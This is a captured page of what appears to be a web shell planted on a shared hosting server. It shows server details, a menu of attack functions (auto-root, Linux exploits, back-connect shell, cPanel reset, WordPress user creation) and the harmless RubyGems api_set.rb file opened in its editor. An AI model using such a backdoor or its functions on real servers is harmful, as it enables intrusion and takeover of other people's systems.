Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 18.118.119.129
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby27 /
share /
rubygems /
rubygems /
resolver /
[ HOME SHELL ]
Name
Size
Permission
Action
molinillo
[ DIR ]
drwxr-xr-x
activation_request.rb
2.85
KB
-rw-r--r--
api_set.rb
2.46
KB
-rw-r--r--
api_specification.rb
2.19
KB
-rw-r--r--
best_set.rb
1.61
KB
-rw-r--r--
composed_set.rb
1.19
KB
-rw-r--r--
conflict.rb
3.25
KB
-rw-r--r--
current_set.rb
282
B
-rw-r--r--
dependency_request.rb
2.29
KB
-rw-r--r--
git_set.rb
2.88
KB
-rw-r--r--
git_specification.rb
1.27
KB
-rw-r--r--
index_set.rb
1.41
KB
-rw-r--r--
index_specification.rb
1.48
KB
-rw-r--r--
installed_specification.rb
1.22
KB
-rw-r--r--
installer_set.rb
5.02
KB
-rw-r--r--
local_specification.rb
807
B
-rw-r--r--
lock_set.rb
1.67
KB
-rw-r--r--
lock_specification.rb
1.82
KB
-rw-r--r--
molinillo.rb
82
B
-rw-r--r--
requirement_list.rb
1.34
KB
-rw-r--r--
set.rb
1.24
KB
-rw-r--r--
source_set.rb
902
B
-rw-r--r--
spec_specification.rb
1.06
KB
-rw-r--r--
specification.rb
2.34
KB
-rw-r--r--
stats.rb
959
B
-rw-r--r--
vendor_set.rb
1.91
KB
-rw-r--r--
vendor_specification.rb
581
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : api_set.rb
# frozen_string_literal: true ## # The global rubygems pool, available via the rubygems.org API. # Returns instances of APISpecification. class Gem::Resolver::APISet < Gem::Resolver::Set ## # The URI for the dependency API this APISet uses. attr_reader :dep_uri # :nodoc: ## # The Gem::Source that gems are fetched from attr_reader :source ## # The corresponding place to fetch gems. attr_reader :uri ## # Creates a new APISet that will retrieve gems from +uri+ using the RubyGems # API URL +dep_uri+ which is described at # https://guides.rubygems.org/rubygems-org-api def initialize(dep_uri = 'https://rubygems.org/api/v1/dependencies') super() dep_uri = URI dep_uri unless URI === dep_uri # for ruby 1.8 @dep_uri = dep_uri @uri = dep_uri + '../..' @data = Hash.new { |h,k| h[k] = [] } @source = Gem::Source.new @uri @to_fetch = [] end ## # Return an array of APISpecification objects matching # DependencyRequest +req+. def find_all(req) res = [] return res unless @remote if @to_fetch.include?(req.name) prefetch_now end versions(req.name).each do |ver| if req.dependency.match? req.name, ver[:number] res << Gem::Resolver::APISpecification.new(self, ver) end end res end ## # A hint run by the resolver to allow the Set to fetch # data for DependencyRequests +reqs+. def prefetch(reqs) return unless @remote names = reqs.map { |r| r.dependency.name } needed = names - @data.keys - @to_fetch @to_fetch += needed end def prefetch_now # :nodoc: needed, @to_fetch = @to_fetch, [] uri = @dep_uri + "?gems=#{needed.sort.join ','}" str = Gem::RemoteFetcher.fetcher.fetch_path uri loaded = [] Marshal.load(str).each do |ver| name = ver[:name] @data[name] << ver loaded << name end (needed - loaded).each do |missing| @data[missing] = [] end end def pretty_print(q) # :nodoc: q.group 2, '[APISet', ']' do q.breakable q.text "URI: #{@dep_uri}" q.breakable q.text 'gem names:' q.pp @data.keys end end ## # Return data for all versions of the gem +name+. def versions(name) # :nodoc: if @data.key?(name) return @data[name] end uri = @dep_uri + "?gems=#{name}" str = Gem::RemoteFetcher.fetcher.fetch_path uri Marshal.load(str).each do |ver| @data[ver[:name]] << ver end @data[name] end end
Close